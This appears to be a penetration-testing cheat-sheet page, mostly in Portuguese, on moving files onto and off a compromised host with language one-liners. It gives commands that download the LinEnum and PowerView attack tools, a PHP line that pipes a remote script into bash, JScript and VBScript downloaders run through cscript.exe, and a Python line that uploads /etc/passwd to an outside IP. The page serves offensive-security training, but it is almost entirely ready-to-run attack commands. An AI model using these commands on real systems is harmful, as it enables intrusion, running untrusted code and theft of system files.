# Transferring Files with Code

De acordo com a Wikipedia, há cerca de [700 linguagens de programação](https://en.wikipedia.org/wiki/List_of_programming_languages) , e podemos criar código em qualquer linguagem de programação, para baixar, carregar ou executar instruções para o SO. Esta seção fornecerá alguns exemplos usando linguagens de programação comuns.



### Python

* **Python 2 - Download**

```sh
python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
```

* **Python 3 - Download**

```shell
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
```

***

### PHP

* **Download do PHP com File\_get\_contents()**

```php
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
```

* **Download do PHP com Fopen()**

```
php -r 'const BUFFER = 1024; $fremote = 
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
```

* **PHP Baixe um arquivo e envie-o para o Bash**

```sh
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
```

***

### Other Languages

* **Ruby - Download a File**

```ruby
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
```

* **Perl - Download a File**

```perl
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
```

* **Javascript**&#x20;
* Criar um arquivo chamado wget.js

```javascript
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
```

* **Baixar um arquivo usando JavaScript e cscript.exe**

```sh
cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
```

* **VBScript**
* Criaremos um arquivo chamado `wget.vbs`e salvaremos o seguinte conteúdo:

```vba
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
```

* **Baixar um arquivo usando VBScript e cscript.exe**

```powershell
cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1
```

### Operações de upload usando Python3

* **Iniciando o módulo Python uploadserver**

```sh
python3 -m uploadserver 
```

* **Carregando um arquivo usando um Python One-liner**

```sh
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
```
